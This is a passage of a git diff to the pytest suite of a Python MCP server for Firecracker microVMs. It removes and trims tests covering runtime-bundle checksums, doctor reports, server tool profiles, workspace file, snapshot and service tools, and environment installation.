"pyro-init").write_text( - guest_init_path.read_text(encoding="utf-8"), - encoding="utf-8", - ) + for profile in ("debian-base", "debian-git", "debian-build"): + profile_dir = copied_platform / "profiles" / profile + profile_dir.mkdir(parents=True, exist_ok=True) + for filename in ("vmlinux", "rootfs.ext4"): + source_file = source.artifacts_dir / profile / filename + (profile_dir / filename).write_bytes(source_file.read_bytes()) + monkeypatch.setenv("PYRO_RUNTIME_BUNDLE_DIR", str(copied_bundle)) with pytest.raises(RuntimeError, match="checksum mismatch"): resolve_runtime_paths() -def test_resolve_runtime_paths_guest_init_checksum_mismatch( - monkeypatch: pytest.MonkeyPatch, tmp_path: Path -) -> None: - source = resolve_runtime_paths() - copied_bundle = tmp_path / "bundle" - shutil.copytree(source.bundle_root.parent, copied_bundle) - copied_platform = copied_bundle / "linux-x86_64" - copied_guest_init = copied_platform / "guest" / "pyro-init" - copied_guest_init.write_text("#!/bin/sh\nexit 0\n", encoding="utf-8") - monkeypatch.setenv("PYRO_RUNTIME_BUNDLE_DIR", str(copied_bundle)) - with pytest.raises(RuntimeError, match="checksum mismatch"): - resolve_runtime_paths() - - -def test_resolve_runtime_paths_guest_init_manifest_malformed( - monkeypatch: pytest.MonkeyPatch, tmp_path: Path -) -> None: - source = resolve_runtime_paths() - copied_bundle = tmp_path / "bundle" - shutil.copytree(source.bundle_root.parent, copied_bundle) - manifest_path = copied_bundle / "linux-x86_64" / "manifest.json" - manifest = json.loads(manifest_path.read_text(encoding="utf-8")) - guest = manifest.get("guest") - if not isinstance(guest, dict): - raise AssertionError("expected guest manifest section") - guest["init"] = {"path": "guest/pyro-init"} - manifest_path.write_text(json.dumps(manifest, indent=2), encoding="utf-8") - monkeypatch.setenv("PYRO_RUNTIME_BUNDLE_DIR", str(copied_bundle)) - with pytest.raises(RuntimeError, match="runtime guest init manifest entry is malformed"): - resolve_runtime_paths() - - def test_doctor_report_has_runtime_fields() -> None: report = doctor_report() assert "runtime_ok" in report assert "kvm" in report assert "networking" in report - assert "daily_loop" in report if report["runtime_ok"]: runtime = report.get("runtime") assert isinstance(runtime, dict) assert "firecracker_bin" in runtime assert "guest_agent_path" in runtime - assert "guest_init_path" in runtime assert "component_versions" in runtime assert "environments" in runtime networking = report["networking"] @@ -148,61 +86,6 @@ def test_doctor_report_has_runtime_fields() -> None: assert "tun_available" in networking -def test_doctor_report_daily_loop_statuses( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - monkeypatch.setenv("PYRO_ENVIRONMENT_CACHE_DIR", str(tmp_path)) - cold_report = doctor_report(environment="debian:12") - cold_daily_loop = cold_report["daily_loop"] - assert cold_daily_loop["status"] == "cold" - assert cold_daily_loop["installed"] is False - - paths = resolve_runtime_paths() - environment_store = EnvironmentStore(runtime_paths=paths, cache_dir=tmp_path) - _materialize_installed_environment(environment_store, name="debian:12") - - installed_report = doctor_report(environment="debian:12") - installed_daily_loop = installed_report["daily_loop"] - assert installed_daily_loop["status"] == "cold" - assert installed_daily_loop["installed"] is True - - manifest_path = prepare_manifest_path( - tmp_path, - platform="linux-x86_64", - environment="debian:12", - ) - write_prepare_manifest( - manifest_path, - DailyLoopManifest( - environment="debian:12", - environment_version="1.0.0", - platform="linux-x86_64", - catalog_version=environment_store.catalog_version, - bundle_version=( - None - if paths.manifest.get("bundle_version") is None - else str(paths.manifest.get("bundle_version")) - ), - prepared_at=123.0, - network_prepared=True, - last_prepare_duration_ms=456, - ), - ) - warm_report = doctor_report(environment="debian:12") - warm_daily_loop = warm_report["daily_loop"] - assert warm_daily_loop["status"] == "warm" - assert warm_daily_loop["network_prepared"] is True - - stale_manifest = json.loads(manifest_path.read_text(encoding="utf-8")) - stale_manifest["catalog_version"] = "0.0.0" - manifest_path.write_text(json.dumps(stale_manifest), encoding="utf-8") - stale_report = doctor_report(environment="debian:12") - stale_daily_loop = stale_report["daily_loop"] - assert stale_daily_loop["status"] == "stale" - assert "catalog version changed" in str(stale_daily_loop["reason"]) - - def test_runtime_capabilities_reports_real_bundle_flags() -> None: paths = resolve_runtime_paths() capabilities = runtime_capabilities(paths) diff --git a/tests/test_runtime_boot_check.py b/tests/test_runtime_boot_check.py index 6e55134..0733e0a 100644 --- a/tests/test_runtime_boot_check.py +++ b/tests/test_runtime_boot_check.py @@ -1,8 +1,6 @@ from __future__ import annotations -import pytest - -from pyro_mcp.runtime_boot_check import _classify_result, run_boot_check +from pyro_mcp.runtime_boot_check import _classify_result def test_classify_result_reports_kernel_panic() -> None: @@ -21,32 +19,3 @@ def test_classify_result_reports_success_when_vm_stays_alive() -> None: vm_alive=True, ) assert reason is None - - -def test_classify_result_reports_logger_failure_and_early_exit() -> None: - logger_reason = _classify_result( - firecracker_log="Successfully started microvm", - serial_log="Could not initialize logger", - vm_alive=False, - ) - early_exit_reason = _classify_result( - firecracker_log="partial log", - serial_log="boot log", - vm_alive=False, - ) - assert logger_reason == "firecracker logger initialization failed" - assert early_exit_reason == "firecracker did not fully start the microVM" - - -def test_classify_result_reports_boot_window_exit_after_start() -> None: - reason = _classify_result( - firecracker_log="Successfully started microvm", - serial_log="boot log", - vm_alive=False, - ) - assert reason == "microVM exited before boot validation window elapsed" - - -def test_run_boot_check_requires_positive_wait_seconds() -> None: - with pytest.raises(ValueError, match="wait_seconds must be positive"): - run_boot_check(wait_seconds=0) diff --git a/tests/test_runtime_network_check.py b/tests/test_runtime_network_check.py index 0e26b5d..35b5a87 100644 --- a/tests/test_runtime_network_check.py +++ b/tests/test_runtime_network_check.py @@ -1,7 +1,5 @@ from __future__ import annotations -import sys - import pytest import pyro_mcp.runtime_network_check as runtime_network_check @@ -45,7 +43,6 @@ def test_network_check_uses_network_enabled_manager(monkeypatch: pytest.MonkeyPa def test_network_check_main_fails_on_unsuccessful_command( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: - monkeypatch.setattr(sys, "argv", ["runtime-network-check"]) monkeypatch.setattr( runtime_network_check, "run_network_check", diff --git a/tests/test_server.py b/tests/test_server.py index 1ad39b9..0434702 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -1,46 +1,17 @@ from __future__ import annotations import asyncio -import subprocess from pathlib import Path from typing import Any, cast import pytest import pyro_mcp.server as server_module -from pyro_mcp.contract import ( - PUBLIC_MCP_COLD_START_MODE_TOOLS, - PUBLIC_MCP_REPRO_FIX_MODE_TOOLS, - PUBLIC_MCP_VM_RUN_PROFILE_TOOLS, - PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, -) from pyro_mcp.server import create_server from pyro_mcp.vm_manager import VmManager from pyro_mcp.vm_network import TapNetworkManager -def _git(repo: Path, *args: str) -> str: - result = subprocess.run( # noqa: S603 - ["git", "-c", "commit.gpgsign=false", *args], - cwd=repo, - check=True, - capture_output=True, - text=True, - ) - return result.stdout.strip() - - -def _make_repo(root: Path, *, content: str = "hello\n") -> Path: - root.mkdir() - _git(root, "init") - _git(root, "config", "user.name", "Pyro Tests") - _git(root, "config", "user.email", "pyro-tests@example.com") - (root / "note.txt").write_text(content, encoding="utf-8") - _git(root, "add", "note.txt") - _git(root, "commit", "-m", "init") - return root - - def test_create_server_registers_vm_tools(tmp_path: Path) -> None: manager = VmManager( backend_name="mock", @@ -54,182 +25,12 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: return sorted(tool.name for tool in tools) tool_names = asyncio.run(_run()) - assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) - - -def test_create_server_vm_run_profile_registers_only_vm_run(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - async def _run() -> list[str]: - server = create_server(manager=manager, profile="vm-run") - tools = await server.list_tools() - return sorted(tool.name for tool in tools) - - assert tuple(asyncio.run(_run())) == PUBLIC_MCP_VM_RUN_PROFILE_TOOLS - - -def test_create_server_workspace_core_profile_registers_expected_tools(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - async def _run() -> list[str]: - server = create_server(manager=manager, profile="workspace-core") - tools = await server.list_tools() - return sorted(tool.name for tool in tools) - - assert tuple(asyncio.run(_run())) == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) - - -def test_create_server_repro_fix_mode_registers_expected_tools(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - async def _run() -> list[str]: - server = create_server(manager=manager, mode="repro-fix") - tools = await server.list_tools() - return sorted(tool.name for tool in tools) - - assert tuple(asyncio.run(_run())) == tuple(sorted(PUBLIC_MCP_REPRO_FIX_MODE_TOOLS)) - - -def test_create_server_cold_start_mode_registers_expected_tools(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - async def _run() -> list[str]: - server = create_server(manager=manager, mode="cold-start") - tools = await server.list_tools() - return sorted(tool.name for tool in tools) - - assert tuple(asyncio.run(_run())) == tuple(sorted(PUBLIC_MCP_COLD_START_MODE_TOOLS)) - - -def test_create_server_workspace_create_description_mentions_project_source(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - repo = _make_repo(tmp_path / "repo") - - async def _run() -> dict[str, Any]: - server = create_server(manager=manager, project_path=repo) - tools = await server.list_tools() - tool_map = {tool.name: tool.model_dump() for tool in tools} - return tool_map["workspace_create"] - - workspace_create = asyncio.run(_run()) - description = cast(str, workspace_create["description"]) - assert "If `seed_path` is omitted" in description - assert str(repo.resolve()) in description - - -def test_create_server_project_path_seeds_workspace_when_seed_path_is_omitted( - tmp_path: Path, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - repo = _make_repo(tmp_path / "repo", content="project-aware\n") - - def _extract_structured(raw_result: object) -> dict[str, Any]: - if not isinstance(raw_result, tuple) or len(raw_result) != 2: - raise TypeError("unexpected call_tool result shape") - _, structured = raw_result - if not isinstance(structured, dict): - raise TypeError("expected structured dictionary result") - return cast(dict[str, Any], structured) - - async def _run() -> tuple[dict[str, Any], dict[str, Any]]: - server = create_server(manager=manager, project_path=repo) - created = _extract_structured( - await server.call_tool( - "workspace_create", - { - "environment": "debian:12-base", - "allow_host_compat": True, - }, - ) - ) - executed = _extract_structured( - await server.call_tool( - "workspace_exec", - { - "workspace_id": created["workspace_id"], - "command": "cat note.txt", - }, - ) - ) - return created, executed - - created, executed = asyncio.run(_run()) - assert created["workspace_seed"]["mode"] == "directory" - assert created["workspace_seed"]["seed_path"] == str(repo.resolve()) - assert created["workspace_seed"]["origin_kind"] == "project_path" - assert created["workspace_seed"]["origin_ref"] == str(repo.resolve()) - assert executed["stdout"] == "project-aware\n" - - -def test_create_server_repo_url_seeds_workspace_when_seed_path_is_omitted(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - repo = _make_repo(tmp_path / "repo", content="committed\n") - (repo / "note.txt").write_text("dirty\n", encoding="utf-8") - - def _extract_structured(raw_result: object) -> dict[str, Any]: - if not isinstance(raw_result, tuple) or len(raw_result) != 2: - raise TypeError("unexpected call_tool result shape") - _, structured = raw_result - if not isinstance(structured, dict): - raise TypeError("expected structured dictionary result") - return cast(dict[str, Any], structured) - - async def _run() -> tuple[dict[str, Any], dict[str, Any]]: - server = create_server(manager=manager, repo_url=str(repo.resolve())) - created = _extract_structured( - await server.call_tool( - "workspace_create", - { - "environment": "debian:12-base", - "allow_host_compat": True, - }, - ) - ) - executed = _extract_structured( - await server.call_tool( - "workspace_exec", - { - "workspace_id": created["workspace_id"], - "command": "cat note.txt", - }, - ) - ) - return created, executed - - created, executed = asyncio.run(_run()) - assert created["workspace_seed"]["mode"] == "directory" - assert created["workspace_seed"]["seed_path"] is None - assert created["workspace_seed"]["origin_kind"] == "repo_url" - assert created["workspace_seed"]["origin_ref"] == str(repo.resolve()) - assert executed["stdout"] == "committed\n" + assert "vm_create" in tool_names + assert "vm_exec" in tool_names + assert "vm_list_environments" in tool_names + assert "vm_network_info" in tool_names + assert "vm_run" in tool_names + assert "vm_status" in tool_names def test_vm_run_round_trip(tmp_path: Path) -> None: @@ -255,9 +56,10 @@ def test_vm_run_round_trip(tmp_path: Path) -> None: { "environment": "debian:12", "command": "printf 'git version 2.0\\n'", + "vcpu_count": 1, + "mem_mib": 512, "ttl_seconds": 600, "network": False, - "allow_host_compat": True, }, ) ) @@ -292,7 +94,7 @@ def test_vm_tools_status_stop_delete_and_reap(tmp_path: Path) -> None: list[dict[str, object]], dict[str, Any], ]: - server = create_server(manager=manager, profile="workspace-full") + server = create_server(manager=manager) environments_raw = await server.call_tool("vm_list_environments", {}) if not isinstance(environments_raw, tuple) or len(environments_raw) != 2: raise TypeError("unexpected environments result") @@ -307,8 +109,9 @@ def test_vm_tools_status_stop_delete_and_reap(tmp_path: Path) -> None: "vm_create", { "environment": "debian:12-base", + "vcpu_count": 1, + "mem_mib": 512, "ttl_seconds": 600, - "allow_host_compat": True, }, ) ) @@ -324,8 +127,9 @@ def test_vm_tools_status_stop_delete_and_reap(tmp_path: Path) -> None: "vm_create", { "environment": "debian:12-base", + "vcpu_count": 1, + "mem_mib": 512, "ttl_seconds": 1, - "allow_host_compat": True, }, ) ) @@ -360,391 +164,3 @@ def test_server_main_runs_stdio_transport(monkeypatch: pytest.MonkeyPatch) -> No monkeypatch.setattr(server_module, "create_server", lambda: StubServer()) server_module.main() assert called == {"transport": "stdio"} - - -def test_workspace_core_profile_round_trip(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - source_dir = tmp_path / "seed" - source_dir.mkdir() - (source_dir / "note.txt").write_text("old\n", encoding="utf-8") - - def _extract_structured(raw_result: object) -> dict[str, Any]: - if not isinstance(raw_result, tuple) or len(raw_result) != 2: - raise TypeError("unexpected call_tool result shape") - _, structured = raw_result - if not isinstance(structured, dict): - raise TypeError("expected structured dictionary result") - return cast(dict[str, Any], structured) - - async def _run() -> tuple[dict[str, Any], ...]: - server = create_server(manager=manager, profile="workspace-core") - created = _extract_structured( - await server.call_tool( - "workspace_create", - { - "environment": "debian:12-base", - "allow_host_compat": True, - "seed_path": str(source_dir), - "name": "chat-loop", - "labels": {"issue": "123"}, - }, - ) - ) - workspace_id = str(created["workspace_id"]) - written = _extract_structured( - await server.call_tool( - "workspace_file_write", - { - "workspace_id": workspace_id, - "path": "note.txt", - "text": "fixed\n", - }, - ) - ) - executed = _extract_structured( - await server.call_tool( - "workspace_exec", - { - "workspace_id": workspace_id, - "command": "cat note.txt", - }, - ) - ) - diffed = _extract_structured( - await server.call_tool("workspace_diff", {"workspace_id": workspace_id}) - ) - export_path = tmp_path / "exported-note.txt" - exported = _extract_structured( - await server.call_tool( - "workspace_export", - { - "workspace_id": workspace_id, - "path": "note.txt", - "output_path": str(export_path), - }, - ) - ) - reset = _extract_structured( - await server.call_tool("workspace_reset", {"workspace_id": workspace_id}) - ) - deleted = _extract_structured( - await server.call_tool("workspace_delete", {"workspace_id": workspace_id}) - ) - return created, written, executed, diffed, exported, reset, deleted - - created, written, executed, diffed, exported, reset, deleted = asyncio.run(_run()) - assert created["name"] == "chat-loop" - assert created["labels"] == {"issue": "123"} - assert written["bytes_written"] == len("fixed\n".encode("utf-8")) - assert executed["stdout"] == "fixed\n" - assert diffed["changed"] is True - assert Path(str(exported["output_path"])).read_text(encoding="utf-8") == "fixed\n" - assert reset["command_count"] == 0 - assert deleted["deleted"] is True - - -def test_workspace_tools_round_trip(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - source_dir = tmp_path / "seed" - source_dir.mkdir() - (source_dir / "note.txt").write_text("ok\n", encoding="utf-8") - secret_file = tmp_path / "token.txt" - secret_file.write_text("from-file\n", encoding="utf-8") - - def _extract_structured(raw_result: object) -> dict[str, Any]: - if not isinstance(raw_result, tuple) or len(raw_result) != 2: - raise TypeError("unexpected call_tool result shape") - _, structured = raw_result - if not isinstance(structured, dict): - raise TypeError("expected structured dictionary result") - return cast(dict[str, Any], structured) - - async def _run() -> tuple[dict[str, Any], ...]: - server = create_server(manager=manager, profile="workspace-full") - created = _extract_structured( - await server.call_tool( - "workspace_create", - { - "environment": "debian:12-base", - "allow_host_compat": True, - "seed_path": str(source_dir), - "name": "repro-fix", - "labels": {"issue": "123"}, - "secrets": [ - {"name": "API_TOKEN", "value": "expected"}, - {"name": "FILE_TOKEN", "file_path": str(secret_file)}, - ], - }, - ) - ) - workspace_id = str(created["workspace_id"]) - listed_before = _extract_structured(await server.call_tool("workspace_list", {})) - updated = _extract_structured( - await server.call_tool( - "workspace_update", - { - "workspace_id": workspace_id, - "labels": {"owner": "codex"}, - "clear_labels": ["issue"], - }, - ) - ) - update_dir = tmp_path / "update" - update_dir.mkdir() - (update_dir / "more.txt").write_text("more\n", encoding="utf-8") - synced = _extract_structured( - await server.call_tool( - "workspace_sync_push", - { - "workspace_id": workspace_id, - "source_path": str(update_dir), - "dest": "subdir", - }, - ) - ) - executed = _extract_structured( - await server.call_tool( - "workspace_exec", - { - "workspace_id": workspace_id, - "command": 'sh -lc \'printf "%s\\n" "$API_TOKEN"\'', - "secret_env": {"API_TOKEN": "API_TOKEN"}, - }, - ) - ) - listed_files = _extract_structured( - await server.call_tool( - "workspace_file_list", - { - "workspace_id": workspace_id, - "path": "/workspace", - "recursive": True, - }, - ) - ) - file_read = _extract_structured( - await server.call_tool( - "workspace_file_read", - { - "workspace_id": workspace_id, - "path": "note.txt", - "max_bytes": 4096, - }, - ) - ) - file_written = _extract_structured( - await server.call_tool( - "workspace_file_write", - { - "workspace_id": workspace_id, - "path": "src/app.py", - "text": "print('hello from file op')\n", - }, - ) - ) - patched = _extract_structured( - await server.call_tool( - "workspace_patch_apply", - { - "workspace_id": workspace_id, - "patch": ( - "--- a/note.txt\n" - "+++ b/note.txt\n" - "@@ -1 +1 @@\n" - "-ok\n" - "+patched\n" - ), - }, - ) - ) - diffed = _extract_structured( - await server.call_tool("workspace_diff", {"workspace_id": workspace_id}) - ) - snapshot = _extract_structured( - await server.call_tool( - "snapshot_create", - {"workspace_id": workspace_id, "snapshot_name": "checkpoint"}, - ) - ) - snapshots = _extract_structured( - await server.call_tool("snapshot_list", {"workspace_id": workspace_id}) - ) - export_path = tmp_path / "exported-more.txt" - exported = _extract_structured( - await server.call_tool( - "workspace_export", - { - "workspace_id": workspace_id, - "path": "subdir/more.txt", - "output_path": str(export_path), - }, - ) - ) - service = _extract_structured( - await server.call_tool( - "service_start", - { - "workspace_id": workspace_id, - "service_name": "app", - "command": ( - 'sh -lc \'trap "exit 0" TERM; printf "%s\\n" "$API_TOKEN" >&2; ' - 'touch .ready; while true; do sleep 60; done\'' - ), - "ready_file": ".ready", - "secret_env": {"API_TOKEN": "API_TOKEN"}, - }, - ) - ) - services = _extract_structured( - await server.call_tool("service_list", {"workspace_id": workspace_id}) - ) - service_status = _extract_structured( - await server.call_tool( - "service_status", - { - "workspace_id": workspace_id, - "service_name": "app", - }, - ) - ) - service_logs = _extract_structured( - await server.call_tool( - "service_logs", - { - "workspace_id": workspace_id, - "service_name": "app", - "all": True, - }, - ) - ) - service_stopped = _extract_structured( - await server.call_tool( - "service_stop", - { - "workspace_id": workspace_id, - "service_name": "app", - }, - ) - ) - summary = _extract_structured( - await server.call_tool("workspace_summary", {"workspace_id": workspace_id}) - ) - reset = _extract_structured( - await server.call_tool( - "workspace_reset", - {"workspace_id": workspace_id, "snapshot": "checkpoint"}, - ) - ) - deleted_snapshot = _extract_structured( - await server.call_tool( - "snapshot_delete", - {"workspace_id": workspace_id, "snapshot_name": "checkpoint"}, - ) - ) - logs = _extract_structured( - await server.call_tool("workspace_logs", {"workspace_id": workspace_id}) - ) - deleted = _extract_structured( - await server.call_tool("workspace_delete", {"workspace_id": workspace_id}) - ) - return ( - created, - listed_before, - updated, - synced, - executed, - listed_files, - file_read, - file_written, - patched, - diffed, - snapshot, - snapshots, - exported, - service, - services, - service_status, - service_logs, - service_stopped, - summary, - reset, - deleted_snapshot, - logs, - deleted, - ) - - ( - created, - listed_before, - updated, - synced, - executed, - listed_files, - file_read, - file_written, - patched, - diffed, - snapshot, - snapshots, - exported, - service, - services, - service_status, - service_logs, - service_stopped, - summary, - reset, - deleted_snapshot, - logs, - deleted, - ) = asyncio.run(_run()) - assert created["state"] == "started" - assert created["name"] == "repro-fix" - assert created["labels"] == {"issue": "123"} - assert listed_before["count"] == 1 - assert listed_before["workspaces"][0]["name"] == "repro-fix" - assert updated["labels"] == {"owner": "codex"} - assert created["workspace_seed"]["mode"] == "directory" - assert created["secrets"] == [ - {"name": "API_TOKEN", "source_kind": "literal"}, - {"name": "FILE_TOKEN", "source_kind": "file"}, - ] - assert synced["workspace_sync"]["destination"] == "/workspace/subdir" - assert executed["stdout"] == "[REDACTED]\n" - assert any(entry["path"] == "/workspace/note.txt" for entry in listed_files["entries"]) - assert file_read["content"] == "ok\n" - assert file_written["path"] == "/workspace/src/app.py" - assert patched["changed"] is True - assert diffed["changed"] is True - assert snapshot["snapshot"]["snapshot_name"] == "checkpoint" - assert [entry["snapshot_name"] for entry in snapshots["snapshots"]] == [ - "baseline", - "checkpoint", - ] - assert exported["artifact_type"] == "file" - assert Path(str(exported["output_path"])).read_text(encoding="utf-8") == "more\n" - assert service["state"] == "running" - assert services["count"] == 1 - assert service_status["state"] == "running" - assert service_logs["stderr"].count("[REDACTED]") >= 1 - assert service_logs["tail_lines"] is None - assert service_stopped["state"] == "stopped" - assert summary["workspace_id"] == created["workspace_id"] - assert summary["commands"]["total"] >= 1 - assert summary["changes"]["available"] is True - assert summary["artifacts"]["exports"][0]["workspace_path"] == "/workspace/subdir/more.txt" - assert reset["workspace_reset"]["snapshot_name"] == "checkpoint" - assert reset["secrets"] == created["secrets"] - assert reset["command_count"] == 0 - assert reset["service_count"] == 0 - assert deleted_snapshot["deleted"] is True - assert logs["count"] == 0 - assert deleted["deleted"] is True diff --git a/tests/test_vm_environments.py b/tests/test_vm_environments.py index c87606f..a5cd6d9 100644 --- a/tests/test_vm_environments.py +++ b/tests/test_vm_environments.py @@ -42,7 +42,6 @@ def _fake_runtime_paths(tmp_path: Path) -> RuntimePaths: firecracker_bin = bundle_root / "bin" / "firecracker" jailer_bin = bundle_root / "bin" / "jailer" guest_agent_path = bundle_root / "guest" / "pyro_guest_agent.py" - guest_init_path = bundle_root / "guest" / "pyro-init" artifacts_dir = bundle_root / "profiles" notice_path = bundle_parent / "NOTICE" @@ -55,7 +54,6 @@ def _fake_runtime_paths(tmp_path: Path) -> RuntimePaths: firecracker_bin.write_text("firecracker\n", encoding="utf-8") jailer_bin.write_text("jailer\n", encoding="utf-8") guest_agent_path.write_text("print('guest')\n", encoding="utf-8") - guest_init_path.write_text("#!/bin/sh\n", encoding="utf-8") notice_path.write_text("notice\n", encoding="utf-8") return RuntimePaths( @@ -64,26 +62,12 @@ def _fake_runtime_paths(tmp_path: Path) -> RuntimePaths: firecracker_bin=firecracker_bin, jailer_bin=jailer_bin, guest_agent_path=guest_agent_path, - guest_init_path=guest_init_path, artifacts_dir=artifacts_dir, notice_path=notice_path, manifest={"platform": "linux-x86_64"}, ) -def _write_local_profile( - runtime_paths: RuntimePaths, - profile_name: str, - *, - kernel: str = "kernel\n", - rootfs: str = "rootfs\n", -) -> None: - profile_dir = runtime_paths.artifacts_dir / profile_name - profile_dir.mkdir(parents=True, exist_ok=True) - (profile_dir / "vmlinux").write_text(kernel, encoding="utf-8") - (profile_dir / "rootfs.ext4").write_text(rootfs, encoding="utf-8") - - def _sha256_digest(payload: bytes) -> str: return f"sha256:{hashlib.sha256(payload).hexdigest()}" @@ -124,9 +108,7 @@ def test_get_environment_rejects_unknown() -> None: def test_environment_store_installs_from_local_runtime_source(tmp_path: Path) -> None: - runtime_paths = _fake_runtime_paths(tmp_path) - _write_local_profile(runtime_paths, "debian-git") - store = EnvironmentStore(runtime_paths=runtime_paths, cache_dir=tmp_path / "cache") + store = EnvironmentStore(runtime_paths=resolve_runtime_paths(), cache_dir=tmp_path / "cache") installed = store.ensure_installed("debian:12") assert installed.kernel_image.exists() @@ -135,9 +117,7 @@ def test_environment_store_installs_from_local_runtime_source(tmp_path: Path) -> def test_environment_store_pull_and_cached_inspect(tmp_path: Path) -> None: - runtime_paths = _fake_runtime_paths(tmp_path) - _write_local_profile(runtime_paths, "debian-git") - store = EnvironmentStore(runtime_paths=runtime_paths, cache_dir=tmp_path / "cache") + store = EnvironmentStore(runtime_paths=resolve_runtime_paths(), cache_dir=tmp_path / "cache") before = store.inspect_environment("debian:12") assert before["installed"] is False @@ -165,7 +145,7 @@ def test_environment_store_uses_env_override_for_default_cache_dir( def test_environment_store_installs_from_archive_when_runtime_source_missing( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: - runtime_paths = _fake_runtime_paths(tmp_path) + runtime_paths = resolve_runtime_paths() source_environment = get_environment("debian:12-base", runtime_paths=runtime_paths) archive_dir = tmp_path / "archive" @@ -177,6 +157,30 @@ def test_environment_store_installs_from_archive_when_runtime_source_missing( archive.add(archive_dir / "vmlinux", arcname="vmlinux") archive.add(archive_dir / "rootfs.ext4", arcname="rootfs.ext4") + missing_bundle = tmp_path / "bundle" + platform_root = missing_bundle / "linux-x86_64" + platform_root.mkdir(parents=True, exist_ok=True) + (missing_bundle / "NOTICE").write_text( + runtime_paths.notice_path.read_text(encoding="utf-8"), + encoding="utf-8", + ) + (platform_root / "manifest.json").write_text( + runtime_paths.manifest_path.read_text(encoding="utf-8"), + encoding="utf-8", + ) + (platform_root / "bin").mkdir(parents=True, exist_ok=True) + (platform_root / "bin" / "firecracker").write_bytes(runtime_paths.firecracker_bin.read_bytes()) + (platform_root / "bin" / "jailer").write_bytes(runtime_paths.jailer_bin.read_bytes()) + guest_agent_path = runtime_paths.guest_agent_path + if guest_agent_path is None: + raise AssertionError("expected guest agent path") + (platform_root / "guest").mkdir(parents=True, exist_ok=True) + (platform_root / "guest" / "pyro_guest_agent.py").write_text( + guest_agent_path.read_text(encoding="utf-8"), + encoding="utf-8", + ) + + monkeypatch.setenv("PYRO_RUNTIME_BUNDLE_DIR", str(missing_bundle)) monkeypatch.setattr( "pyro_mcp.vm_environments.CATALOG", { @@ -196,7 +200,7 @@ def test_environment_store_installs_from_archive_when_runtime_source_missing( }, ) store = EnvironmentStore( - runtime_paths=runtime_paths, + runtime_paths=resolve_runtime_paths(verify_checksums=False), cache_dir=tmp_path / "cache", ) installed = store.ensure_installed("debian:12-base") @@ -205,91 +209,6 @@ def test_environment_store_installs_from_archive_when_runtime_source_missing( assert installed.rootfs_image.read_text(encoding="utf-8") == "rootfs\n" -def test_environment_store_skips_empty_local_source_dir_and_uses_archive( - tmp_path: Path, monkeypatch: pytest.MonkeyPatch -) -> None: - runtime_paths = _fake_runtime_paths(tmp_path) - source_environment = get_environment("debian:12-base", runtime_paths=runtime_paths) - (runtime_paths.artifacts_dir / source_environment.source_profile).mkdir( - parents=True, - exist_ok=True, - ) - - archive_dir = tmp_path / "archive" - archive_dir.mkdir(parents=True, exist_ok=True) - (archive_dir / "vmlinux").write_text("kernel\n", encoding="utf-8") - (archive_dir / "rootfs.ext4").write_text("rootfs\n", encoding="utf-8") - archive_path = tmp_path / "environment.tgz" - with tarfile.open(archive_path, "w:gz") as archive: - archive.add(archive_dir / "vmlinux", arcname="vmlinux") - archive.add(archive_dir / "rootfs.ext4", arcname="rootfs.ext4") - - monkeypatch.setattr( - "pyro_mcp.vm_environments.CATALOG", - { - "debian:12-base": source_environment.__class__( - name=source_environment.name, - version=source_environment.version, - description=source_environment.description, - default_packages=source_environment.default_packages, - distribution=source_environment.distribution, - distribution_version=source_environment.distribution_version, - source_profile=source_environment.source_profile, - platform=source_environment.platform, - source_url=archive_path.resolve().as_uri(), - source_digest=source_environment.source_digest, - compatibility=source_environment.compatibility, - ) - }, - ) - store = EnvironmentStore(runtime_paths=runtime_paths, cache_dir=tmp_path / "cache") - - installed = store.ensure_installed("debian:12-base") - - assert installed.kernel_image.read_text(encoding="utf-8") == "kernel\n" - assert installed.rootfs_image.read_text(encoding="utf-8") == "rootfs\n" - - -def test_environment_store_marks_broken_symlink_install_uninstalled_and_repairs_it( - tmp_path: Path, -) -> None: - runtime_paths = _fake_runtime_paths(tmp_path) - _write_local_profile( - runtime_paths, - "debian-git", - kernel="kernel-fixed\n", - rootfs="rootfs-fixed\n", - ) - store = EnvironmentStore(runtime_paths=runtime_paths, cache_dir=tmp_path / "cache") - spec = get_environment("debian:12", runtime_paths=runtime_paths) - install_dir = store.cache_dir / "linux-x86_64" / "debian_12-1.0.0" - install_dir.mkdir(parents=True, exist_ok=True) - (install_dir / "environment.json").write_text( - json.dumps( - { - "catalog_version": "2.0.0", - "name": spec.name, - "version": spec.version, - "source": "bundled-runtime-source", - "source_digest": spec.source_digest, - "installed_at": 0, - } - ), - encoding="utf-8", - ) - (install_dir / "vmlinux").symlink_to("missing-vmlinux") - (install_dir / "rootfs.ext4").symlink_to("missing-rootfs.ext4") - - inspected_before = store.inspect_environment("debian:12") - assert inspected_before["installed"] is False - - pulled = store.pull_environment("debian:12") - - assert pulled["installed"] is True - assert 